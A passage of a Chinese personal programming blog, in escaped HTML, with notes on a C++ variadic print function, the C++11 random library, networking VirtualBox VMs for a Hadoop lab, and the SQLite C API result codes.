\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003estring\u003c/span\u003e \u003cspan class=\"n\"\u003ea\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eva_arg\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eap\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ea\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eva_arg\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eap\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etoOutput\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"sc\"\u003e\u0026#39;c\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003echar\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etoOutput\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"sc\"\u003e\u0026#39;d\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003etoOutput\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eva_end\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eap\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eerror\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Hello %s, %d, %c. %%\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;SuperBart\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"sc\"\u003e\u0026#39;f\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"sc\"\u003e\u0026#39;f\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// For test.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Hello %s, %d, %c. %%\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;SuperBart\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"sc\"\u003e\u0026#39;f\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"sc\"\u003e\u0026#39;f\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"如何更加省心地随便编个数\"\u003e如何更加省心地随便编个数\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e先引入 C++ 11 标准的全新标准库 \u003ccode\u003erandom\u003c/code\u003e。\u003c/li\u003e\n\u003cli\u003e先找个能生成随机种子的随机数引擎,我用的是 \u003ccode\u003erandom_device\u003c/code\u003e,在 Linux 上相当于读取 \u003ccode\u003e/dev/urandom\u003c/code\u003e 产生的随机数。我们不使用该引擎生成随机数,因为根据原理,在生成随机数的时候,会产生大量的输入输出中断,一定程度上影响性能,而且会下降 \u003ccode\u003e/dev/urandom\u003c/code\u003e 生成随机数的质量。\u003c/li\u003e\n\u003cli\u003e然后利用上述引擎,生成我们要用的引擎 \u003ccode\u003edefault_random_engine\u003c/code\u003e。\u003c/li\u003e\n\u003cli\u003e我们利用该随机数引擎,生成随机数。由于我们这里使用无符号的随机数,遵循均匀分布,我们使用 \u003ccode\u003euniform_int_distribution\u0026lt;uint\u0026gt;\u003c/code\u003e 类来生成之。\n顺便说一句,\u003ccode\u003erandom\u003c/code\u003e库还能支持你在概率论课程上学到的所有玩意,比如万恶的正态分布,泊松分布啥的。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"如何在虚拟机之间搞互联互通-以-virtualbox-为示例\"\u003e如何在虚拟机之间搞互联互通?—— 以 VirtualBox 为示例\u003c/h2\u003e\n\u003cp\u003e为了 Hadoop 的主从模式,我搞了三个虚拟机。\u003c/p\u003e\n\u003ch3 id=\"概述\"\u003e概述\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e管理 -\u0026gt; 主机网络管理器新建一个新网卡 vboxnet0\u003c/li\u003e\n\u003cli\u003e在每个虚拟机的设置中,设置网络为仅主机网络,界面名称 vboxnet0\u003c/li\u003e\n\u003cli\u003e每个虚拟机里面要设置好固定 ip ,关闭防火墙,和 ssh 免密码登录\u003c/li\u003e\n\u003cli\u003e(可选但推荐) 修改所有虚拟机的 host 文件,标记所有虚拟机的地址\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"截图主机网络管理器\"\u003e截图~主机网络管理器\u003c/h3\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://legacy.superbart.top/picture/Random/VirtualBox-1.png\" \u003e\n\t\t\u003cimg src=\"https://legacy.superbart.top/picture/Random/VirtualBox-1.png\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\t\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003cp\u003e如果设置成功的话,你的宿主机应该可以 ping 到你的虚拟机。查看你电脑的 ip,可以执行 \u003ccode\u003eifconfig\u003c/code\u003e 或者 \u003ccode\u003eip a\u003c/code\u003e。\u003c/p\u003e\n\u003ch3 id=\"如何关闭网络防火墙\"\u003e如何关闭网络防火墙\u003c/h3\u003e\n\u003cp\u003e基本上我见到的 Linux 系统,防火墙软件都是 \u003ca class=\"link\" href=\"https://firewalld.org/\" target=\"_blank\" rel=\"noopener\"\n \u003efirewalld\u003c/a\u003e。关闭防火墙,也就是关掉这个服务。所以我们要执行\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003esudo systemctl stop firewalld.service \u003cspan class=\"c1\"\u003e# 停止防火墙服务\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003esudo systemctl disable firewalld.service \u003cspan class=\"c1\"\u003e# 防止防火墙开机自启动\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e说到这了,看看 Systemd 还能搞啥\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003esudo systemctl status firewalld.service \u003cspan class=\"c1\"\u003e# 看看这玩意运行状态\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e另外,如果你安装的是 Ubuntu Server ,安装时候可以关掉防火墙选项的。如果你安装的是 OpenSUSE,你也可以在 YaST 里面关掉,或者开 22 和 23 端口。\u003c/p\u003e\n\u003ch3 id=\"如何设置免密码登录-ssh\"\u003e如何设置免密码登录 ssh\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ ssh-keygen\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ \u003cspan class=\"nb\"\u003ecd\u003c/span\u003e ~/.ssh\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ ssh-copy-id 另外一个虚拟机的用户名@另外一个虚拟机的ip\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ ssh 另外一个虚拟机的用户名@另外一个虚拟机的ip \u003cspan class=\"c1\"\u003e# 测试是否成功\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e注意,.ssh目录的权限为700,其下文件authorized_keys和私钥的权限为600。如有问题,请使用 chmod 修改。\u003c/p\u003e\n\u003ch2 id=\"修改-host-文件\"\u003e修改 Host 文件\u003c/h2\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003esudo nano /etc/hosts\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e修改方式是 ip + 电脑名称\u003c/p\u003e\n\u003ch2 id=\"c-语言的-sqlite-函数概览\"\u003eC 语言的 SQLite 函数概览\u003c/h2\u003e\n\u003cp\u003e为啥是 C 语言的,因为 Vala 的 SQLite 支持是把 C 语言支持的头文件给“照搬”了。\u003c/p\u003e\n\u003ch3 id=\"基础函数\"\u003e基础函数\u003c/h3\u003e\n\u003cp\u003e通过这个方式来创建一个 SQLite 结构体:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003esqlite\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e通过这个方式,打开一个数据库:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003esqlite3_open\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003efilename\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 文件所在的路径 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003esqlite3\u003c/span\u003e \u003cspan class=\"o\"\u003e**\u003c/span\u003e\u003cspan class=\"n\"\u003eppDb\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 对应的 SQLite 结构体 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e通过这个方式,来在这个数据库上执行 SQL 语句:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003esqlite3_exec\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003esqlite3\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 要执行的数据库 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003econst\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003esql\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 执行语句 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003esqlite_callback\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 回调 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 回调参数 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e**\u003c/span\u003e\u003cspan class=\"n\"\u003eerrmsg\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 接受错误信息的字符串 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e使用完数据库后,通过这个函数释放数据库。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003esqlite3_close\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e \u003cspan class=\"n\"\u003esqlite3\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"cm\"\u003e/* 你需要关闭的数据库 */\u003c/span\u003e \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"函数返回值\"\u003e函数返回值\u003c/h3\u003e\n\u003cp\u003eSQLite 里面的函数在执行的时候,都会有一个返回值。在 C 语言头文件里面,是一堆 define 。以下是 sqlite3.h 文件里面的东西。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/*\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e** sqlite3.h, version 3.40.0, line 433-476.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e**\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e** CAPI3REF: Result Codes\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e** KEYWORDS: {result code definitions}\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e** 返回值 要点:返回值和定义\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e**\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e** Many SQLite functions return an integer result code from the set shown\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e** here in order to indicate success or failure.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e** 许多 SQLite 函数的返回值是下面定义的整型,以反映成功/失败状态。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e**\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e** New error codes may be added in future versions of SQLite.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e** 新的错误码将会在未来版本加入。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e**\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e** See also: [extended result code definitions]\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e** 还有扩充版返回值定义:-P\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e*/\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_OK 0 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Successful result */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e\u003c/span\u003e\u003cspan class=\"cm\"\u003e/* beginning-of-error-codes */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* 除了0之外全是出错 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_ERROR 1 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Generic error */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_INTERNAL 2 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Internal logic error in SQLite */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_PERM 3 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Access permission denied */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_ABORT 4 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Callback routine requested an abort */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_BUSY 5 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* The database file is locked */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_LOCKED 6 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* A table in the database is locked */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_NOMEM 7 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* A malloc() failed */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_READONLY 8 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Attempt to write a readonly database */\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#define SQLITE_INTERRUPT 9 \u003c/span\u003e\u003cspan class=\"cm\"\u003e/* Operation terminated by sqlite3_interrupt()*/\u003c/span\u003e\u003cspan 